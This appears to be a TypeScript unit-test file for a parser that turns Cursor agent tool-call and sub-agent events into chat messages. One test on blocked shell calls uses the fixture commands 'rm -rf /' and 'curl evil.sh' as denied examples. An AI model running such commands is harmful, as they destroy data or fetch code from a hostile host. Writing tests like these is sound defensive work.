// Real Cursor task-result shape (verified against production agent_execution
|
|
460
|
-
// blobs): each step is a protobuf-oneof keyed DIRECTLY by kind, and a tool
|
|
461
|
-
// call is { toolCall: { toolCallId, <kind>ToolCall: { args, result } } } whose
|
|
462
|
-
// result is a oneof { success | error | permissionDenied | rejected }. This is
|
|
463
|
-
// the shape that exposed the dropped-tool-calls bug: the prior parser only
|
|
464
|
-
// matched a { type:"toolCall", message } envelope that never occurs.
|
|
465
|
-
it("sub-agent extracts real direct-keyed toolCall steps from conversationSteps", () => {
|
|
466
|
-
const messages: AgentMessage[] = [];
|
|
467
|
-
const acc = new MessageAccumulator(messages);
|
|
468
|
-
|
|
469
|
-
const runningEvent = toolCallEvent("tc-sub7", "task", "running", "r1", {
|
|
470
|
-
args: { description: "Explore the repo", prompt: "Find the README" },
|
|
471
|
-
});
|
|
472
|
-
acc.processEvent(runningEvent);
|
|
473
|
-
acc.trackSubAgentExecution(runningEvent);
|
|
474
|
-
|
|
475
|
-
const completedEvent = toolCallEvent("tc-sub7", "task", "completed", "r1", {
|
|
476
|
-
result: {
|
|
477
|
-
status: "success",
|
|
478
|
-
value: {
|
|
479
|
-
conversationSteps: [
|
|
480
|
-
{ thinkingMessage: { text: "Let me look for the README." } },
|
|
481
|
-
{
|
|
482
|
-
toolCall: {
|
|
483
|
-
toolCallId: "glob-1",
|
|
484
|
-
globToolCall: {
|
|
485
|
-
args: { targetDirectory: "/repo", globPattern: "**/*.md" },
|
|
486
|
-
result: { success: { path: "/repo", files: ["README.md"] } },
|
|
487
|
-
},
|
|
488
|
-
},
|
|
489
|
-
},
|
|
490
|
-
{
|
|
491
|
-
toolCall: {
|
|
492
|
-
toolCallId: "read-1",
|
|
493
|
-
readToolCall: {
|
|
494
|
-
args: { path: "/repo/README.md" },
|
|
495
|
-
result: {
|
|
496
|
-
success: {
|
|
497
|
-
content: "# Hello",
|
|
498
|
-
path: "/repo/README.md",
|
|
499
|
-
totalLines: 1,
|
|
500
|
-
fileSize: 7,
|
|
501
|
-
},
|
|
502
|
-
},
|
|
503
|
-
},
|
|
504
|
-
},
|
|
505
|
-
},
|
|
506
|
-
{ assistantMessage: { text: "I found and read the README." } },
|
|
507
|
-
],
|
|
508
|
-
agentId: "sub-agent-xyz",
|
|
509
|
-
durationMs: 4200,
|
|
510
|
-
isBackground: false,
|
|
511
|
-
backgroundReason: "unspecified",
|
|
512
|
-
},
|
|
513
|
-
},
|
|
514
|
-
});
|
|
515
|
-
acc.processEvent(completedEvent);
|
|
516
|
-
acc.trackSubAgentExecution(completedEvent);
|
|
517
|
-
|
|
518
|
-
const sub = acc.subAgentExecutions[0];
|
|
519
|
-
// thinking + glob tool call + read tool call + assistant text
|
|
520
|
-
expect(sub.messages).toHaveLength(4);
|
|
521
|
-
|
|
522
|
-
expect(sub.messages[0].type).toBe(MessageType.MESSAGE_THINKING);
|
|
523
|
-
expect(sub.messages[0].content).toBe("Let me look for the README.");
|
|
524
|
-
|
|
525
|
-
const globMsg = sub.messages[1];
|
|
526
|
-
expect(globMsg.type).toBe(MessageType.MESSAGE_AI);
|
|
527
|
-
expect(globMsg.toolCalls).toHaveLength(1);
|
|
528
|
-
expect(globMsg.toolCalls[0].id).toBe("glob-1");
|
|
529
|
-
expect(globMsg.toolCalls[0].name).toBe("glob");
|
|
530
|
-
expect(globMsg.toolCalls[0].toolKind).toBe(ToolKind.SEARCH);
|
|
531
|
-
expect(globMsg.toolCalls[0].status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
532
|
-
|
|
533
|
-
const readMsg = sub.messages[2];
|
|
534
|
-
expect(readMsg.type).toBe(MessageType.MESSAGE_AI);
|
|
535
|
-
expect(readMsg.toolCalls).toHaveLength(1);
|
|
536
|
-
expect(readMsg.toolCalls[0].id).toBe("read-1");
|
|
537
|
-
expect(readMsg.toolCalls[0].name).toBe("read");
|
|
538
|
-
expect(readMsg.toolCalls[0].toolKind).toBe(ToolKind.FILE_READ);
|
|
539
|
-
expect(readMsg.toolCalls[0].status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
540
|
-
expect(readMsg.toolCalls[0].result).toContain("# Hello");
|
|
541
|
-
|
|
542
|
-
expect(sub.messages[3].type).toBe(MessageType.MESSAGE_AI);
|
|
543
|
-
expect(sub.messages[3].content).toBe("I found and read the README.");
|
|
544
|
-
});
|
|
545
|
-
|
|
546
|
-
it("sub-agent gracefully handles missing conversationSteps", () => {
|
|
547
|
-
const messages: AgentMessage[] = [];
|
|
548
|
-
const acc = new MessageAccumulator(messages);
|
|
549
|
-
|
|
550
|
-
const runningEvent = toolCallEvent("tc-sub8", "task", "running", "r1", {
|
|
551
|
-
args: { description: "Quick task", prompt: "Do it" },
|
|
552
|
-
});
|
|
553
|
-
acc.processEvent(runningEvent);
|
|
554
|
-
acc.trackSubAgentExecution(runningEvent);
|
|
555
|
-
|
|
556
|
-
const completedEvent = toolCallEvent("tc-sub8", "task", "completed", "r1", {
|
|
557
|
-
result: "Simple string result",
|
|
558
|
-
});
|
|
559
|
-
acc.processEvent(completedEvent);
|
|
560
|
-
acc.trackSubAgentExecution(completedEvent);
|
|
561
|
-
|
|
562
|
-
const sub = acc.subAgentExecutions[0];
|
|
563
|
-
expect(sub.status).toBe(SubAgentStatus.SUB_AGENT_COMPLETED);
|
|
564
|
-
expect(sub.output).toBe("Simple string result");
|
|
565
|
-
expect(sub.messages).toHaveLength(0);
|
|
566
|
-
});
|
|
567
|
-
|
|
568
|
-
describe("extractConversationSteps standalone", () => {
|
|
569
|
-
it("parses legacy format with thinkingMessage/assistantMessage keys (no type field)", () => {
|
|
570
|
-
const out: AgentMessage[] = [];
|
|
571
|
-
extractConversationSteps({
|
|
572
|
-
status: "success",
|
|
573
|
-
value: {
|
|
574
|
-
conversationSteps: [
|
|
575
|
-
{ thinkingMessage: { text: "Hmm...", durationMs: 200 } },
|
|
576
|
-
{ assistantMessage: { text: "Answer." } },
|
|
577
|
-
],
|
|
578
|
-
},
|
|
579
|
-
}, out);
|
|
580
|
-
|
|
581
|
-
expect(out).toHaveLength(2);
|
|
582
|
-
expect(out[0].type).toBe(MessageType.MESSAGE_THINKING);
|
|
583
|
-
expect(out[0].content).toBe("Hmm...");
|
|
584
|
-
expect(out[1].type).toBe(MessageType.MESSAGE_AI);
|
|
585
|
-
expect(out[1].content).toBe("Answer.");
|
|
586
|
-
});
|
|
587
|
-
|
|
588
|
-
it("skips unknown step types for forward compatibility", () => {
|
|
589
|
-
const out: AgentMessage[] = [];
|
|
590
|
-
extractConversationSteps({
|
|
591
|
-
status: "success",
|
|
592
|
-
value: {
|
|
593
|
-
conversationSteps: [
|
|
594
|
-
{ type: "futureStepType", data: {} },
|
|
595
|
-
{ type: "assistantMessage", message: { text: "Still works." } },
|
|
596
|
-
],
|
|
597
|
-
},
|
|
598
|
-
}, out);
|
|
599
|
-
|
|
600
|
-
expect(out).toHaveLength(1);
|
|
601
|
-
expect(out[0].content).toBe("Still works.");
|
|
602
|
-
});
|
|
603
|
-
|
|
604
|
-
it("handles null/undefined/non-object result gracefully", () => {
|
|
605
|
-
const out: AgentMessage[] = [];
|
|
606
|
-
extractConversationSteps(null, out);
|
|
607
|
-
extractConversationSteps(undefined, out);
|
|
608
|
-
extractConversationSteps("string", out);
|
|
609
|
-
extractConversationSteps(42, out);
|
|
610
|
-
expect(out).toHaveLength(0);
|
|
611
|
-
});
|
|
612
|
-
|
|
613
|
-
it("handles result without conversationSteps", () => {
|
|
614
|
-
const out: AgentMessage[] = [];
|
|
615
|
-
extractConversationSteps({ status: "success", value: {} }, out);
|
|
616
|
-
expect(out).toHaveLength(0);
|
|
617
|
-
});
|
|
618
|
-
|
|
619
|
-
it("handles empty conversationSteps array", () => {
|
|
620
|
-
const out: AgentMessage[] = [];
|
|
621
|
-
extractConversationSteps({
|
|
622
|
-
status: "success",
|
|
623
|
-
value: { conversationSteps: [] },
|
|
624
|
-
}, out);
|
|
625
|
-
expect(out).toHaveLength(0);
|
|
626
|
-
});
|
|
627
|
-
|
|
628
|
-
it("skips steps with empty text", () => {
|
|
629
|
-
const out: AgentMessage[] = [];
|
|
630
|
-
extractConversationSteps({
|
|
631
|
-
status: "success",
|
|
632
|
-
value: {
|
|
633
|
-
conversationSteps: [
|
|
634
|
-
{ type: "thinkingMessage", message: { text: "" } },
|
|
635
|
-
{ type: "assistantMessage", message: { text: "" } },
|
|
636
|
-
{ type: "assistantMessage", message: { text: "Real content." } },
|
|
637
|
-
],
|
|
638
|
-
},
|
|
639
|
-
}, out);
|
|
640
|
-
|
|
641
|
-
expect(out).toHaveLength(1);
|
|
642
|
-
expect(out[0].content).toBe("Real content.");
|
|
643
|
-
});
|
|
644
|
-
|
|
645
|
-
it("maps a tool result error oneof to a FAILED tool call", () => {
|
|
646
|
-
const out: AgentMessage[] = [];
|
|
647
|
-
extractConversationSteps({
|
|
648
|
-
status: "success",
|
|
649
|
-
value: {
|
|
650
|
-
conversationSteps: [
|
|
651
|
-
{
|
|
652
|
-
toolCall: {
|
|
653
|
-
toolCallId: "read-err",
|
|
654
|
-
readToolCall: {
|
|
655
|
-
args: { path: "/nope.txt" },
|
|
656
|
-
result: { error: { errorMessage: "file not found" } },
|
|
657
|
-
},
|
|
658
|
-
},
|
|
659
|
-
},
|
|
660
|
-
],
|
|
661
|
-
},
|
|
662
|
-
}, out);
|
|
663
|
-
|
|
664
|
-
expect(out).toHaveLength(1);
|
|
665
|
-
const tc = out[0].toolCalls[0];
|
|
666
|
-
expect(tc.name).toBe("read");
|
|
667
|
-
expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_FAILED);
|
|
668
|
-
expect(tc.error).toContain("file not found");
|
|
669
|
-
expect(tc.result).toBe("");
|
|
670
|
-
});
|
|
671
|
-
|
|
672
|
-
it("maps a gate-denied shell (permissionDenied / rejected) to a FAILED tool call", () => {
|
|
673
|
-
const out: AgentMessage[] = [];
|
|
674
|
-
extractConversationSteps({
|
|
675
|
-
status: "success",
|
|
676
|
-
value: {
|
|
677
|
-
conversationSteps: [
|
|
678
|
-
{
|
|
679
|
-
toolCall: {
|
|
680
|
-
toolCallId: "shell-denied",
|
|
681
|
-
shellToolCall: {
|
|
682
|
-
args: {},
|
|
683
|
-
result: {
|
|
684
|
-
permissionDenied: {
|
|
685
|
-
command: "rm -rf /",
|
|
686
|
-
error: "blocked by approval gate",
|
|
687
|
-
isReadonly: false,
|
|
688
|
-
},
|
|
689
|
-
},
|
|
690
|
-
},
|
|
691
|
-
},
|
|
692
|
-
},
|
|
693
|
-
{
|
|
694
|
-
toolCall: {
|
|
695
|
-
toolCallId: "shell-rejected",
|
|
696
|
-
shellToolCall: {
|
|
697
|
-
args: {},
|
|
698
|
-
result: { rejected: { command: "curl evil.sh", reason: "user rejected" } },
|
|
699
|
-
},
|
|
700
|
-
},
|
|
701
|
-
},
|
|
702
|
-
],
|
|
703
|
-
},
|
|
704
|
-
}, out);
|
|
705
|
-
|
|
706
|
-
expect(out).toHaveLength(2);
|
|
707
|
-
expect(out[0].toolCalls[0].name).toBe("shell");
|
|
708
|
-
expect(out[0].toolCalls[0].toolKind).toBe(ToolKind.SHELL);
|
|
709
|
-
expect(out[0].toolCalls[0].status).toBe(ToolCallStatus.TOOL_CALL_FAILED);
|
|
710
|
-
expect(out[0].toolCalls[0].error).toContain("blocked by approval gate");
|
|
711
|
-
expect(out[1].toolCalls[0].status).toBe(ToolCallStatus.TOOL_CALL_FAILED);
|
|
712
|
-
expect(out[1].toolCalls[0].error).toContain("user rejected");
|
|
713
|
-
});
|
|
714
|
-
|
|
715
|
-
it("skips a malformed toolCall step with no <kind>ToolCall key", () => {
|
|
716
|
-
const out: AgentMessage[] = [];
|
|
717
|
-
extractConversationSteps({
|
|
718
|
-
status: "success",
|
|
719
|
-
value: {
|
|
720
|
-
conversationSteps: [
|
|
721
|
-
{ toolCall: { toolCallId: "orphan" } },
|
|
722
|
-
{ assistantMessage: { text: "still works" } },
|
|
723
|
-
],
|
|
724
|
-
},
|
|
725
|
-
}, out);
|
|
726
|
-
|
|
727
|
-
expect(out).toHaveLength(1);
|
|
728
|
-
expect(out[0].content).toBe("still works");
|
|
729
|
-
});
|
|
730
|
-
});
|
|
731
|
-
|
|
732
|
-
describe("todo tool suppression", () => {
|
|
733
|
-
it("updateTodos tool calls are excluded from messages", () => {
|
|
734
|
-
const messages: AgentMessage[] = [];
|
|
735
|
-
const acc = new MessageAccumulator(messages);
|
|
736
|
-
|
|
737
|
-
acc.processEvent(assistantEvent("r1", "Planning..."));
|
|
738
|
-
acc.processEvent(toolCallEvent("tc-todo", "updateTodos", "running", "r1", {
|
|
739
|
-
args: { todos: [{ content: "Step 1", status: "pending" }] },
|
|
740
|
-
}));
|
|
741
|
-
acc.processEvent(toolCallEvent("tc-todo", "updateTodos", "completed", "r1"));
|
|
742
|
-
|
|
743
|
-
const aiMsg = messages.find(m => m.type === MessageType.MESSAGE_AI);
|
|
744
|
-
expect(aiMsg?.toolCalls).toHaveLength(0);
|
|
745
|
-
});
|
|
746
|
-
|
|
747
|
-
it("TodoWrite tool calls are excluded from messages", () => {
|
|
748
|
-
const messages: AgentMessage[] = [];
|
|
749
|
-
const acc = new MessageAccumulator(messages);
|
|
750
|
-
|
|
751
|
-
acc.processEvent(assistantEvent("r1", "Planning..."));
|
|
752
|
-
acc.processEvent(toolCallEvent("tc-tw", "TodoWrite", "running", "r1"));
|
|
753
|
-
acc.processEvent(toolCallEvent("tc-tw", "TodoWrite", "completed", "r1"));
|
|
754
|
-
|
|
755
|
-
const aiMsg = messages.find(m => m.type === MessageType.MESSAGE_AI);
|
|
756
|
-
expect(aiMsg?.toolCalls).toHaveLength(0);
|
|
757
|
-
});
|
|
758
|
-
|
|
759
|
-
it("non-todo tool calls on the same AI message are preserved", () => {
|
|
760
|
-
const messages: AgentMessage[] = [];
|
|
761
|
-
const acc = new MessageAccumulator(messages);
|
|
762
|
-
|
|
763
|
-
acc.processEvent(assistantEvent("r1", "Working..."));
|
|
764
|
-
acc.processEvent(toolCallEvent("tc-shell", "Shell", "running", "r1", { args: { command: "ls" } }));
|
|
765
|
-
acc.processEvent(toolCallEvent("tc-todo", "updateTodos", "running", "r1"));
|
|
766
|
-
acc.processEvent(toolCallEvent("tc-shell", "Shell", "completed", "r1", { result: "file.txt" }));
|
|
767
|
-
acc.processEvent(toolCallEvent("tc-todo", "updateTodos", "completed", "r1"));
|
|
768
|
-
|
|
769
|
-
const aiMsg = messages.find(m => m.type === MessageType.MESSAGE_AI);
|
|
770
|
-
expect(aiMsg?.toolCalls).toHaveLength(1);
|
|
771
|
-
expect(aiMsg?.toolCalls[0].name).toBe("Shell");
|
|
772
|
-
});
|
|
773
|
-
});
|
|
774
|
-
|
|
775
|
-
// The Cursor SDK can emit the lifecycle for one call_id more than once.
|
|
776
|
-
// Observed in production: two "running" events ~0.5s apart for a task/edit
|
|
777
|
-
// tool produced two ToolCall entries with the SAME id (a "thin" copy with no
|
|
778
|
-
// result and a "full" copy), rendering the same call two or three times in
|
|
779
|
-
// the UI. The accumulator must upsert by call_id so a call maps to exactly
|
|
780
|
-
// one ToolCall.
|
|
781
|
-
describe("tool call idempotency (one ToolCall per call_id)", () => {
|
|
782
|
-
it("duplicate running events for one call_id create a single ToolCall", () => {
|
|
783
|
-
const messages: AgentMessage[] = [];
|
|
784
|
-
const acc = new MessageAccumulator(messages);
|
|
785
|
-
|
|
786
|
-
acc.processEvent(assistantEvent("r1", "Editing a file."));
|
|
787
|
-
acc.processEvent(toolCallEvent("tc-dup", "edit", "running", "r1", { args: { path: "a.ts" } }));
|
|
788
|
-
acc.processEvent(toolCallEvent("tc-dup", "edit", "running", "r1", { args: { path: "a.ts" } }));
|
|
789
|
-
|
|
790
|
-
expect(countToolCallsWithId(messages, "tc-dup")).toBe(1);
|
|
791
|
-
expect(findToolCallById(messages, "tc-dup")!.status).toBe(ToolCallStatus.TOOL_CALL_RUNNING);
|
|
792
|
-
});
|
|
793
|
-
|
|
794
|
-
it("running -> completed -> running re-emit keeps a single COMPLETED ToolCall", () => {
|
|
795
|
-
const messages: AgentMessage[] = [];
|
|
796
|
-
const acc = new MessageAccumulator(messages);
|
|
797
|
-
|
|
798
|
-
acc.processEvent(assistantEvent("r1", "Running a tool."));
|
|
799
|
-
acc.processEvent(toolCallEvent("tc-1", "Shell", "running", "r1"));
|
|
800
|
-
acc.processEvent(toolCallEvent("tc-1", "Shell", "completed", "r1", { result: "OK" }));
|
|
801
|
-
// A late "running" re-emit must not regress the terminal status.
|
|
802
|
-
acc.processEvent(toolCallEvent("tc-1", "Shell", "running", "r1"));
|
|
803
|
-
|
|
804
|
-
expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
|
|
805
|
-
const tc = findToolCallById(messages, "tc-1")!;
|
|
806
|
-
expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
807
|
-
expect(tc.result).toBe("OK");
|
|
808
|
-
expect(tc.completedAt).toBeTruthy();
|
|
809
|
-
});
|
|
810
|
-
|
|
811
|
-
it("thin-then-full: a result-bearing completion populates the single ToolCall created by an empty running", () => {
|
|
812
|
-
const messages: AgentMessage[] = [];
|
|
813
|
-
const acc = new MessageAccumulator(messages);
|
|
814
|
-
|
|
815
|
-
// Reproduces the production pattern: two running events, then one
|
|
816
|
-
// completion that carries the full result.
|
|
817
|
-
acc.processEvent(assistantEvent("r1", "Delegating work."));
|
|
818
|
-
acc.processEvent(toolCallEvent("tc-task", "task", "running", "r1", { result: "" }));
|
|
819
|
-
acc.processEvent(toolCallEvent("tc-task", "task", "running", "r1", { result: "" }));
|
|
820
|
-
acc.processEvent(toolCallEvent("tc-task", "task", "completed", "r1", { result: "full result blob" }));
|
|
821
|
-
|
|
822
|
-
expect(countToolCallsWithId(messages, "tc-task")).toBe(1);
|
|
823
|
-
const tc = findToolCallById(messages, "tc-task")!;
|
|
824
|
-
expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
825
|
-
expect(tc.result).toBe("full result blob");
|
|
826
|
-
});
|
|
827
|
-
|
|
828
|
-
it("a result-less re-emit after completion does not wipe the captured result", () => {
|
|
829
|
-
const messages: AgentMessage[] = [];
|
|
830
|
-
const acc = new MessageAccumulator(messages);
|
|
831
|
-
|
|
832
|
-
acc.processEvent(assistantEvent("r1", "Running a tool."));
|
|
833
|
-
acc.processEvent(toolCallEvent("tc-1", "read", "running", "r1"));
|
|
834
|
-
acc.processEvent(toolCallEvent("tc-1", "read", "completed", "r1", { result: "file contents" }));
|
|
835
|
-
acc.processEvent(toolCallEvent("tc-1", "read", "completed", "r1", { result: "" }));
|
|
836
|
-
|
|
837
|
-
expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
|
|
838
|
-
expect(findToolCallById(messages, "tc-1")!.result).toBe("file contents");
|
|
839
|
-
});
|
|
840
|
-
|
|
841
|
-
it("duplicate task running events yield one task ToolCall and one sub-agent (production repro)", () => {
|
|
842
|
-
const messages: AgentMessage[] = [];
|
|
843
|
-
const acc = new MessageAccumulator(messages);
|
|
844
|
-
|
|
845
|
-
// Mirror the ExecuteCursor stream loop: every task tool_call event is fed
|
|
846
|
-
// to both processEvent() (tool call) and trackSubAgentExecution().
|
|
847
|
-
acc.processEvent(assistantEvent("r1", "I'll explore the repo."));
|
|
848
|
-
const args = { subagentType: { kind: "explore" }, description: "Explore repo structure and docs", prompt: "Go" };
|
|
849
|
-
|
|
850
|
-
const run1 = toolCallEvent("tc-explore", "task", "running", "r1", { args, result: "" });
|
|
851
|
-
acc.processEvent(run1);
|
|
852
|
-
acc.trackSubAgentExecution(run1);
|
|
853
|
-
|
|
854
|
-
const run2 = toolCallEvent("tc-explore", "task", "running", "r1", { args, result: "" });
|
|
855
|
-
acc.processEvent(run2);
|
|
856
|
-
acc.trackSubAgentExecution(run2);
|
|
857
|
-
|
|
858
|
-
const done = toolCallEvent("tc-explore", "task", "completed", "r1", { result: "explored" });
|
|
859
|
-
acc.processEvent(done);
|
|
860
|
-
acc.trackSubAgentExecution(done);
|
|
861
|
-
|
|
862
|
-
expect(countToolCallsWithId(messages, "tc-explore")).toBe(1);
|
|
863
|
-
expect(acc.subAgentExecutions).toHaveLength(1);
|
|
864
|
-
expect(acc.subAgentExecutions[0].id).toBe("tc-explore");
|
|
865
|
-
});
|
|
866
|
-
});
|
|
867
|
-
|
|
868
|
-
// The recovery supersede rule (issue #207): TOOL_CALL_INTERRUPTED is
|
|
869
|
-
// server-authored when an execution terminalizes with the call in flight. If
|
|
870
|
-
// that FAILED execution is recovered, the harness checkpoint can re-execute
|
|
871
|
-
// the call under its original call id — so INTERRUPTED is the one settled
|
|
872
|
-
// status the monotonic guard lets live execution evidence supersede in
|
|
873
|
-
// place. Every other terminal status stays immovable.
|
|
874
|
-
describe("recovery supersede of TOOL_CALL_INTERRUPTED", () => {
|
|
875
|
-
function seededInterruptedTranscript(callId: string): AgentMessage[] {
|
|
876
|
-
return [
|
|
877
|
-
create(AgentMessageSchema, {
|
|
878
|
-
type: MessageType.MESSAGE_AI,
|
|
879
|
-
content: "Running a command.",
|
|
880
|
-
toolCalls: [
|
|
881
|
-
create(ToolCallSchema, {
|
|
882
|
-
id: callId,
|
|
883
|
-
name: "Shell",
|
|
884
|
-
status: ToolCallStatus.TOOL_CALL_INTERRUPTED,
|
|
885
|
-
completedAt: "2026-07-08T00:00:00Z",
|
|
886
|
-
}),
|
|
887
|
-
],
|
|
888
|
-
}),
|
|
889
|
-
];
|
|
890
|
-
}
|
|
891
|
-
|
|
892
|
-
it("a replayed lifecycle event advances a seeded INTERRUPTED row to its true outcome", () => {
|
|
893
|
-
const messages = seededInterruptedTranscript("tc-replayed");
|
|
894
|
-
const acc = new MessageAccumulator(messages);
|
|
895
|
-
|
|
896
|
-
acc.processEvent(toolCallEvent("tc-replayed", "Shell", "running"));
|
|
897
|
-
expect(findToolCallById(messages, "tc-replayed")!.status).toBe(
|
|
898
|
-
ToolCallStatus.TOOL_CALL_RUNNING,
|
|
899
|
-
);
|
|
900
|
-
|
|
901
|
-
acc.processEvent(toolCallEvent("tc-replayed", "Shell", "completed", "run-1", { result: "OK" }));
|
|
902
|
-
|
|
903
|
-
expect(countToolCallsWithId(messages, "tc-replayed")).toBe(1);
|
|
904
|
-
const tc = findToolCallById(messages, "tc-replayed")!;
|
|
905
|
-
expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
906
|
-
expect(tc.result).toBe("OK");
|
|
907
|
-
});
|
|
908
|
-
|
|
909
|
-
it("a genuinely terminal seeded row (COMPLETED) still refuses to regress", () => {
|
|
910
|
-
const messages: AgentMessage[] = [
|
|
911
|
-
create(AgentMessageSchema, {
|
|
912
|
-
type: MessageType.MESSAGE_AI,
|
|
913
|
-
toolCalls: [
|
|
914
|
-
create(ToolCallSchema, {
|
|
915
|
-
id: "tc-done",
|
|
916
|
-
name: "Shell",
|
|
917
|
-
status: ToolCallStatus.TOOL_CALL_COMPLETED,
|
|
918
|
-
result: "final",
|
|
919
|
-
}),
|
|
920
|
-
],
|
|
921
|
-
}),
|
|
922
|
-
];
|
|
923
|
-
const acc = new MessageAccumulator(messages);
|
|
924
|
-
|
|
925
|
-
acc.processEvent(toolCallEvent("tc-done", "Shell", "running"));
|
|
926
|
-
|
|
927
|
-
expect(findToolCallById(messages, "tc-done")!.status).toBe(
|
|
928
|
-
ToolCallStatus.TOOL_CALL_COMPLETED,
|
|
929
|
-
);
|
|
930
|
-
});
|
|
931
|
-
});
|
|
932
|
-
|
|
933
|
-
// Issue #179: the live thinking/tool-call trace was starved because the Cursor
|
|
934
|
-
// loop's persist cadence had no force-flush for tool-call lifecycle. The
|
|
935
|
-
// accumulator's isDirty signal is now the force-flush source: it MUST fire on
|
|
936
|
-
// the discrete, user-visible events (tool start, tool finish, sub-agent
|
|
937
|
-
// delegation) and MUST NOT fire on high-frequency token deltas (assistant
|
|
938
|
-
// text, model thinking), which ride the StreamingUpdateScheduler time cadence.
|
|
939
|
-
describe("streaming force-flush signal (issue #179 cadence)", () => {
|
|
940
|
-
it("flags dirty the instant a tool call is created", () => {
|
|
941
|
-
const acc = new MessageAccumulator([]);
|
|
942
|
-
acc.processEvent(assistantEvent("r1", "Let me search."));
|
|
943
|
-
expect(acc.isDirty).toBe(false); // assistant text alone does not force-flush
|
|
944
|
-
|
|
945
|
-
acc.processEvent(toolCallEvent("tc-1", "Shell", "running", "r1"));
|
|
946
|
-
expect(acc.isDirty).toBe(true);
|
|
947
|
-
});
|
|
948
|
-
|
|
949
|
-
it("flags dirty when a tool call transitions to a terminal status", () => {
|
|
950
|
-
const acc = new MessageAccumulator([]);
|
|
951
|
-
acc.processEvent(assistantEvent("r1", "Running."));
|
|
952
|
-
acc.processEvent(toolCallEvent("tc-1", "Shell", "running", "r1"));
|
|
953
|
-
acc.markPersisted();
|
|
954
|
-
expect(acc.isDirty).toBe(false);
|
|
955
|
-
|
|
956
|
-
acc.processEvent(toolCallEvent("tc-1", "Shell", "completed", "r1", { result: "OK" }));
|
|
957
|
-
expect(acc.isDirty).toBe(true);
|
|
958
|
-
});
|
|
959
|
-
|
|
960
|
-
it("does NOT re-flag dirty on a redundant terminal re-emit", () => {
|
|
961
|
-
const acc = new MessageAccumulator([]);
|
|
962
|
-
acc.processEvent(assistantEvent("r1", "Running."));
|
|
963
|
-
acc.processEvent(toolCallEvent("tc-1", "read", "running", "r1"));
|
|
964
|
-
acc.processEvent(toolCallEvent("tc-1", "read", "completed", "r1", { result: "data" }));
|
|
965
|
-
acc.markPersisted();
|
|
966
|
-
expect(acc.isDirty).toBe(false);
|
|
967
|
-
|
|
968
|
-
// An already-terminal call re-emitting is noise, not a state change.
|
|
969
|
-
acc.processEvent(toolCallEvent("tc-1", "read", "completed", "r1", { result: "" }));
|
|
970
|
-
expect(acc.isDirty).toBe(false);
|
|
971
|
-
});
|
|
972
|
-
|
|
973
|
-
it("does NOT flag dirty on model thinking deltas (they ride the scheduler cadence)", () => {
|
|
974
|
-
const acc = new MessageAccumulator([]);
|
|
975
|
-
acc.processEvent(thinkingEvent("r1", "Let me reason about this"));
|
|
976
|
-
acc.processEvent(thinkingEvent("r1", " step by step..."));
|
|
977
|
-
expect(acc.isDirty).toBe(false);
|
|
978
|
-
});
|
|
979
|
-
|
|
980
|
-
it("does NOT flag dirty on assistant text deltas", () => {
|
|
981
|
-
const acc = new MessageAccumulator([]);
|
|
982
|
-
acc.processEvent(assistantEvent("r1", "Here is "));
|
|
983
|
-
acc.processEvent(assistantEvent("r1", "the answer."));
|
|
984
|
-
expect(acc.isDirty).toBe(false);
|
|
985
|
-
});
|
|
986
|
-
|
|
987
|
-
it("suppressed todo tools do NOT flag dirty (TodoTracker owns that signal)", () => {
|
|
988
|
-
const acc = new MessageAccumulator([]);
|
|
989
|
-
acc.processEvent(assistantEvent("r1", "Planning."));
|
|
990
|
-
acc.processEvent(toolCallEvent("tc-todo", "updateTodos", "running", "r1", {
|
|
991
|
-
args: { todos: [{ content: "Step 1", status: "pending" }] },
|
|
992
|
-
}));
|
|
993
|
-
expect(acc.isDirty).toBe(false);
|
|
994
|
-
});
|
|
995
|
-
|
|
996
|
-
it("markPersisted clears a tool-call dirty flag", () => {
|
|
997
|
-
const acc = new MessageAccumulator([]);
|
|
998
|
-
acc.processEvent(assistantEvent("r1", "Running."));
|
|
999
|
-
acc.processEvent(toolCallEvent("tc-1", "Shell", "running", "r1"));
|
|
1000
|
-
expect(acc.isDirty).toBe(true);
|
|
1001
|
-
|
|
1002
|
-
acc.markPersisted();
|
|
1003
|
-
expect(acc.isDirty).toBe(false);
|
|
1004
|
-
});
|
|
1005
|
-
|
|
1006
|
-
// The user-facing symptom: a short thinking+tool turn (< 20 stream events).
|
|
1007
|
-
// The old `eventCount % 20` gate never fired, so the whole trace landed only
|
|
1008
|
-
// at the final persist. With the force-flush signal, the tool lifecycle is
|
|
1009
|
-
// observable mid-turn — each discrete event leaves isDirty set for the loop.
|
|
1010
|
-
it("a short thinking+tool turn produces force-flush points mid-turn", () => {
|
|
1011
|
-
const acc = new MessageAccumulator([]);
|
|
1012
|
-
const flushPoints: string[] = [];
|
|
1013
|
-
const step = (label: string, ev: SDKMessage) => {
|
|
1014
|
-
acc.processEvent(ev);
|
|
1015
|
-
if (acc.isDirty) {
|
|
1016
|
-
flushPoints.push(label);
|
|
1017
|
-
acc.markPersisted();
|
|
1018
|
-
}
|
|
1019
|
-
};
|
|
1020
|
-
|
|
1021
|
-
step("thinking", thinkingEvent("r1", "Thinking about the task..."));
|
|
1022
|
-
step("assistant", assistantEvent("r1", "I'll check the file."));
|
|
1023
|
-
step("tool-start", toolCallEvent("tc-1", "read", "running", "r1"));
|
|
1024
|
-
step("tool-done", toolCallEvent("tc-1", "read", "completed", "r1", { result: "contents" }));
|
|
1025
|
-
step("assistant-2", assistantEvent("r1", "Done."));
|
|
1026
|
-
|
|
1027
|
-
// Tool start and tool completion are the discrete moments the live UI must
|
|
1028
|
-
// see immediately; thinking/assistant deltas are carried by the scheduler.
|
|
1029
|
-
expect(flushPoints).toEqual(["tool-start", "tool-done"]);
|
|
1030
|
-
});
|
|
1031
|
-
});
|
|
1032
|
-
|
|
1033
|
-
});
|